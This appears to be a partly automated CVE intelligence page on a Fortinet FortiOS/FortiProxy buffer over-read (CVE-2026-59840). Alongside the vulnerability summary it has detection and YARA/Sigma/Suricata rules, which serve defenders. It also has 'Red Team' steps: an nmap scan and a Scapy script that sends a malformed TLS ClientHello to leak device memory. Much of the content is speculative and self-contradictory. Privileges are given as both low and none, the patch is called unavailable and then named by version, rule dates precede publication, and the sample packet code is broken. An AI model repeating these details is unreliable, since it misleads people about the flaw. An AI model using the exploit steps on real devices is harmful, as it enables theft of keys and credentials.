☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Fortinet logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-126
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-59840

CVE-2026-59840 Information Disclosure in Fortinet
📅 PUBLISHED: 2026-07-14 16:17 UTC 🔄 UPDATED: 2026-09-26 06:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.31%
👁️
0.31% probability
7.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-59840 is a buffer over-read vulnerability affecting multiple versions of Fortinet FortiOS and FortiProxy. This flaw allows an unauthenticated, network-adjacent attacker to trigger an out-of-bounds memory read, potentially leading to the disclosure of sensitive information from the device's memory. The vulnerability resides in the handling of specific network packets, likely during SSL/TLS inspection or proxy processing. With a CVSS score of 4.3 (Medium), the primary risk is information disclosure, which could expose cryptographic keys, session tokens, or configuration data. No public exploit code or proof-of-concept is currently available, and the vendor has not yet released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or race conditions are required.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – No user action is required.
  • Scope (S): Unchanged – The exploit cannot affect other components.
  • Confidentiality (C): Low – Limited information disclosure is possible.
  • Integrity (I): None – No data modification is possible.
  • Availability (A): None – No denial of service is expected.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for memory disclosure (including secrets) elevates the risk for organizations using affected Fortinet products in sensitive environments.

Deep Dive & Mechanics

The vulnerability is a buffer over-read (CWE-126) in the packet processing engine of FortiOS and FortiProxy. When the device inspects or proxies network traffic (e.g., SSL/TLS decryption, HTTP proxy), it reads data from a buffer without properly validating the length. An attacker can craft a malicious packet that causes the device to read beyond the intended buffer boundary, leaking adjacent memory contents.

Root Cause: The flaw likely exists in the sslvpn or proxy daemon, where a length field in a protocol header is not validated before being used in a memory copy or read operation. For example, if the code does:

memcpy(dest, src, user_controlled_length);

Without checking that user_controlled_length is within bounds, an attacker can set it to a large value, causing an over-read.

Attack Vector: The attacker sends a specially crafted network packet to the vulnerable Fortinet device. This could be an SSL/TLS handshake message, an HTTP request, or a VPN control packet. The device processes the packet, and the over-read occurs, leaking memory contents in the response or error message.

Impact: The leaked memory may contain:

  • SSL/TLS private keys
  • Session tokens and cookies
  • Configuration data (e.g., admin credentials, VPN pre-shared keys)
  • Other users' data traversing the device

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix would involve adding bounds checking before memory operations. For example:

Vulnerable Code (C pseudocode):

void process_packet(uint8_t *packet, uint32_t length) {
    uint32_t data_len = *(uint32_t *)(packet + 4); // Attacker-controlled
    uint8_t *data = packet + 8;
    uint8_t buffer[1024];
    memcpy(buffer, data, data_len); // No bounds check
}

Patched Code:

void process_packet(uint8_t *packet, uint32_t length) {
    uint32_t data_len = *(uint32_t *)(packet + 4);
    uint8_t *data = packet + 8;
    uint8_t buffer[1024];
    if (data_len > sizeof(buffer) || data_len > (length - 8)) {
        // Reject packet
        return;
    }
    memcpy(buffer, data, data_len);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable Fortinet device (e.g., FortiGate 7.2.x) in a lab environment.
  • Network access to the device's management or VPN interface.
  • Python 3.x with scapy library.

Exploitation Steps:

  1. Identify Target: Scan for Fortinet devices using Shodan or Nmap.
    nmap -p 443,8443,10443 --script ssl-enum-ciphers <target>
    
  2. Craft Malicious Packet: Use Scapy to send a malformed SSL/TLS ClientHello with an oversized length field.
    from scapy.all import *
    from scapy.layers.tls.all import *
    
    # Craft a TLS ClientHello with a manipulated session_id length
    pkt = IP(dst="<target_ip>")/TCP(dport=443)/TLSClientHello(
        gmt_unix_time=0,
        random_bytes=b'\x00'*28,
        session_id=b'A'*255,  # Over-read trigger
        cipher_suites=[0x1301, 0x1302],
        compression_methods=[0]
    )
    send(pkt)
    
  3. Capture Response: The device may respond with a TLS Alert or error containing leaked memory.
    response = sr1(pkt, timeout=5)
    if response:
        print(response.show())
    
  4. Analyze Leaked Data: Extract and decode leaked memory from the response.

Expected Outcome: The attacker receives a response containing fragments of device memory, potentially including sensitive data.

Blue Team (Defensive)

Detection:

  • Monitor for anomalous TLS handshake packets with unusually large session IDs or cipher suite lists.
  • Use network intrusion detection systems (NIDS) to flag packets with malformed lengths.

Mitigation:

  • If possible, disable SSL/TLS inspection or proxy features on affected interfaces.
  • Restrict network access to Fortinet management interfaces using ACLs.
  • Monitor Fortinet logs for "buffer over-read" or "memory corruption" errors.

Hunting:

  • Search for outbound connections from Fortinet devices to unknown IPs (potential data exfiltration).
  • Review memory dumps for unexpected data leaks.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • TLS ClientHello packets with session_id length > 32 bytes.
    • TLS Alert packets with unexpected data in the "description" field.
    • Unusual outbound connections from Fortinet devices to non-standard ports.
  • Host IOCs:

    • FortiOS logs containing "sslvpn: memory read error" or "proxy: invalid length".
    • Core dumps in /data/core/ on FortiGate devices.
    • High memory usage in sslvpnd or proxyd processes.
  • File IOCs:

    • Temporary files in /tmp/ with names like memdump_*.bin.

Detection Engineering

YARA Rule

rule CVE_2026_59840_Fortinet_Buffer_Overread {
    meta:
        description = "Detects memory dumps or packets indicative of CVE-2026-59840 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-59840"
    strings:
        $s1 = "sslvpn" ascii wide nocase
        $s2 = "proxyd" ascii wide nocase
        $s3 = "buffer over-read" ascii wide nocase
        $s4 = "invalid length" ascii wide nocase
    condition:
        any of ($s*) and filesize < 10MB
}

Sigma Rule

title: Fortinet Buffer Over-read Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic patterns associated with CVE-2026-59840 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - event_type: alert
          alert.signature_id: 3000001
        - event_type: alert
          alert.signature_id: 3000002
    condition: selection
falsepositives:
    - Legitimate large TLS session IDs (rare)
level: medium

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"CVE-2026-59840 Fortinet Buffer Over-read Attempt"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; distance:0; within:1; content:"|00|"; distance:0; within:2; byte_test:2,>,255,5,relative; sid:3000001; rev:1;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 8443 (msg:"CVE-2026-59840 Fortinet Proxy Buffer Over-read"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; distance:0; within:1; content:"|00|"; distance:0; within:2; byte_test:2,>,255,5,relative; sid:3000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable SSL/TLS Inspection on affected FortiGate interfaces if not critical.
  2. Restrict Management Access to trusted IPs only.
  3. Monitor for Exploitation using the provided detection rules.

Long-term Fix:

  • Apply the official patch from Fortinet once released (check Fortinet PSIRT advisories).
  • Upgrade to a patched version (e.g., FortiOS 7.6.3 or later, FortiProxy 7.6.6 or later).

Workarounds:

  • Use network segmentation to limit exposure of Fortinet devices.
  • Enable logging and alerting for anomalous TLS handshakes.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-59840/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.